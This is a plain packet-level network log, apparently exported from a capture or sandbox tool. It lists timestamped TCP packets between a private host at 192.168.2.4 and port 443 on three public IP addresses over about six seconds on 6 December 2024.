Dec 6, 2024 00:16:25.776232958 CET	50029	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:25.776380062 CET	50029	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:25.776387930 CET	443	50029	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.187266111 CET	443	50018	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:26.187330008 CET	443	50018	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:26.187405109 CET	50018	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.187525034 CET	50018	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.187536955 CET	443	50018	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:26.188004971 CET	50030	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.188034058 CET	443	50030	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:26.189769983 CET	50030	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.192487001 CET	50030	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.192500114 CET	443	50030	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:26.237559080 CET	443	50019	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.237602949 CET	443	50019	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.237704039 CET	50019	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.237720013 CET	443	50019	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.237762928 CET	50019	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.238126993 CET	443	50019	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.238162041 CET	443	50019	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.238169909 CET	50019	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.238203049 CET	50019	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.238466024 CET	50019	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.238475084 CET	443	50019	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.238909006 CET	50031	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.238924980 CET	443	50031	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.238982916 CET	50031	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.239156961 CET	50031	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.239167929 CET	443	50031	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.318279982 CET	443	50023	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.319071054 CET	50023	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.319087029 CET	443	50023	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.319550991 CET	50023	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.319555044 CET	443	50023	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.350744963 CET	443	50020	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:26.350812912 CET	50020	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.350866079 CET	50020	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.350898027 CET	443	50020	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:26.351002932 CET	50020	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.351280928 CET	50032	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.351289988 CET	443	50032	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:26.351353884 CET	50032	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.351505995 CET	50032	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.351515055 CET	443	50032	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:26.473550081 CET	443	50024	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.473591089 CET	443	50026	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.474162102 CET	50024	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.474184036 CET	443	50024	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.474566936 CET	50024	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.474571943 CET	443	50024	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.474920988 CET	50026	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.474934101 CET	443	50026	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.475219011 CET	50026	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.475224972 CET	443	50026	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.485946894 CET	443	50021	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.485992908 CET	443	50021	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.485999107 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.486013889 CET	443	50021	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.486032009 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.486052036 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.486056089 CET	443	50021	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.486093998 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.486159086 CET	443	50021	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.486190081 CET	443	50021	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.486191034 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.486222029 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.487713099 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.487721920 CET	443	50021	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.488173962 CET	50033	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.488188982 CET	443	50033	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.488246918 CET	50033	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.488413095 CET	50033	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.488421917 CET	443	50033	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:26.506540060 CET	443	50025	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.506905079 CET	50025	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.506918907 CET	443	50025	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.507461071 CET	50025	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.507464886 CET	443	50025	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.705439091 CET	50030	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.705476046 CET	50031	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.705498934 CET	50032	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.705518007 CET	50033	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:26.706044912 CET	50034	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.706054926 CET	443	50034	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:26.706137896 CET	50034	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.706656933 CET	50034	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.706665039 CET	443	50034	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:26.708259106 CET	50035	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.708300114 CET	443	50035	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:26.708367109 CET	50035	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.708931923 CET	50035	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:26.708950043 CET	443	50035	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:26.754069090 CET	443	50023	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.754139900 CET	443	50023	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.754185915 CET	50023	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.754398108 CET	50023	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.754404068 CET	443	50023	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.754412889 CET	50023	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.754416943 CET	443	50023	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.756958008 CET	50036	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.756983042 CET	443	50036	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.757057905 CET	50036	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.757177114 CET	50036	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.757194042 CET	443	50036	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.907104015 CET	443	50026	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.907156944 CET	443	50026	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.907212019 CET	50026	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.907461882 CET	50026	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.907478094 CET	443	50026	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.907520056 CET	50026	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.907526970 CET	443	50026	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.907738924 CET	443	50024	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.907788038 CET	443	50024	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.907854080 CET	50024	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.909509897 CET	50024	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.909516096 CET	443	50024	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.909523964 CET	50024	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.909526110 CET	443	50024	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.914419889 CET	50037	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.914450884 CET	443	50037	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.914511919 CET	50037	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.919591904 CET	50037	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.919606924 CET	443	50037	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.919939041 CET	50038	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.919962883 CET	443	50038	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.920022964 CET	50038	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.920099974 CET	50038	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.920111895 CET	443	50038	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.936582088 CET	443	50025	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.936633110 CET	443	50025	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.936677933 CET	50025	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.936791897 CET	50025	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.936800957 CET	443	50025	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.936829090 CET	50025	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.936832905 CET	443	50025	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.939037085 CET	50039	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.939054966 CET	443	50039	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:26.939115047 CET	50039	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.939227104 CET	50039	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:26.939239025 CET	443	50039	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:27.487638950 CET	443	50029	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:27.488140106 CET	50029	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:27.488157034 CET	443	50029	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:27.488646984 CET	50029	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:27.488651037 CET	443	50029	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:27.918812990 CET	443	50029	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:27.918857098 CET	443	50029	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:27.919020891 CET	50029	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:27.919126034 CET	50029	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:27.919137001 CET	443	50029	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:27.919145107 CET	50029	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:27.919150114 CET	443	50029	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:27.922261000 CET	50041	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:27.922286987 CET	443	50041	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:27.922358036 CET	50041	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:27.922540903 CET	50041	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:27.922553062 CET	443	50041	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.393697023 CET	443	50034	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:28.393779993 CET	50034	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:28.394330025 CET	443	50034	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:28.394393921 CET	50034	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:28.394489050 CET	443	50035	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:28.394556046 CET	50035	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:28.395122051 CET	443	50035	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:28.395184994 CET	50035	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:28.397635937 CET	50034	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:28.397644043 CET	443	50034	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:28.397841930 CET	443	50034	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:28.397900105 CET	50034	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:28.398062944 CET	50035	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:28.398071051 CET	443	50035	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:28.398274899 CET	443	50035	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:28.398327112 CET	50035	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:28.398366928 CET	50034	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:28.398608923 CET	50035	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:28.439332962 CET	443	50034	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:28.439342976 CET	443	50035	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:28.480645895 CET	443	50036	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.481074095 CET	50036	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.481091022 CET	443	50036	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.481537104 CET	50036	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.481542110 CET	443	50036	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.626068115 CET	443	50037	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.626437902 CET	50037	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.626458883 CET	443	50037	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.626840115 CET	50037	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.626844883 CET	443	50037	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.634690046 CET	443	50038	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.635015965 CET	50038	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.635039091 CET	443	50038	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.635390043 CET	50038	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.635394096 CET	443	50038	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.662081957 CET	443	50039	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.662374973 CET	50039	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.662384033 CET	443	50039	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.662750006 CET	50039	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.662755013 CET	443	50039	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.911892891 CET	443	50036	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.911948919 CET	443	50036	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.911998987 CET	50036	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.912168980 CET	50036	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.912184954 CET	443	50036	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.912194967 CET	50036	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.912201881 CET	443	50036	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.915165901 CET	50044	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.915189981 CET	443	50044	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:28.915251017 CET	50044	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.915400982 CET	50044	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:28.915411949 CET	443	50044	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.060498953 CET	443	50037	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.060558081 CET	443	50037	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.060652971 CET	50037	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.061126947 CET	50037	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.061144114 CET	443	50037	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.061166048 CET	50037	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.061172962 CET	443	50037	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.063926935 CET	50045	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.063960075 CET	443	50045	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.064034939 CET	50045	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.064203024 CET	50045	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.064223051 CET	443	50045	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.070192099 CET	443	50038	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.070245028 CET	443	50038	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.070312023 CET	50038	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.070486069 CET	50038	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.070494890 CET	443	50038	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.070502996 CET	50038	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.070507050 CET	443	50038	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.072594881 CET	50046	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.072607994 CET	443	50046	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.072674036 CET	50046	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.072829962 CET	50046	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.072839975 CET	443	50046	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.096200943 CET	443	50039	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.096254110 CET	443	50039	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.096292973 CET	50039	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.096410990 CET	50039	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.096424103 CET	443	50039	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.096443892 CET	50039	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.096447945 CET	443	50039	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.098370075 CET	50047	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.098386049 CET	443	50047	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.098476887 CET	50047	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.098588943 CET	50047	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.098602057 CET	443	50047	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.309961081 CET	443	50035	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:29.310059071 CET	50035	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.310077906 CET	443	50035	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:29.310121059 CET	50035	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.310204983 CET	50035	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.310231924 CET	443	50035	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:29.310281992 CET	50035	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.310816050 CET	50048	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:29.310843945 CET	443	50048	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:29.310914993 CET	50048	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:29.311001062 CET	50049	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.311033010 CET	443	50049	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:29.311090946 CET	50049	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.311275005 CET	50048	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:29.311285973 CET	443	50048	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:29.311405897 CET	50049	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.311423063 CET	443	50049	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:29.313705921 CET	443	50034	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:29.313774109 CET	50034	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.313783884 CET	443	50034	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:29.313833952 CET	50034	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.313864946 CET	50034	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.313890934 CET	443	50034	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:29.313935995 CET	50034	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.314151049 CET	50050	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.314167976 CET	443	50050	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:29.314224958 CET	50050	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.314337015 CET	50050	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:29.314348936 CET	443	50050	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:29.314541101 CET	50051	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:29.314575911 CET	443	50051	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:29.314744949 CET	50051	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:29.317378998 CET	50051	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:29.317393064 CET	443	50051	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:29.634550095 CET	443	50041	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.689645052 CET	50041	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.731960058 CET	50041	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.731972933 CET	443	50041	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:29.751560926 CET	50041	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:29.751568079 CET	443	50041	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.070867062 CET	443	50041	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.070921898 CET	443	50041	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.070975065 CET	50041	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.071252108 CET	50041	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.071269035 CET	443	50041	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.071283102 CET	50041	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.071288109 CET	443	50041	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.074045897 CET	50052	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.074070930 CET	443	50052	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.074131012 CET	50052	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.074294090 CET	50052	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.074305058 CET	443	50052	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.633305073 CET	443	50047	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.635189056 CET	50047	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.635205984 CET	443	50047	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.635667086 CET	50047	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.635673046 CET	443	50047	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.640793085 CET	443	50044	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.643035889 CET	50044	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.643047094 CET	443	50044	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.643444061 CET	50044	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.643449068 CET	443	50044	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.774322987 CET	443	50045	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.775269032 CET	50045	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.775283098 CET	443	50045	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.775732994 CET	50045	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.775738001 CET	443	50045	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.788147926 CET	443	50046	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.791054964 CET	50046	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.791063070 CET	443	50046	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:30.791450977 CET	50046	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:30.791454077 CET	443	50046	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.001449108 CET	443	50050	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.001523972 CET	50050	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.002221107 CET	443	50050	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.002278090 CET	50050	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.003640890 CET	443	50048	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.003704071 CET	50048	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.004110098 CET	443	50049	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.004165888 CET	50049	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.004748106 CET	443	50049	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.004817963 CET	50049	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.008589983 CET	50050	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.008609056 CET	443	50050	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.008867025 CET	443	50050	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.009841919 CET	443	50051	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.009922981 CET	50051	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.010199070 CET	50050	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.010200024 CET	50048	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.010210037 CET	443	50048	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.010448933 CET	443	50048	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.010493994 CET	50048	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.011457920 CET	50051	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.011468887 CET	443	50051	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.011708021 CET	50048	443	192.168.2.4	142.250.181.33
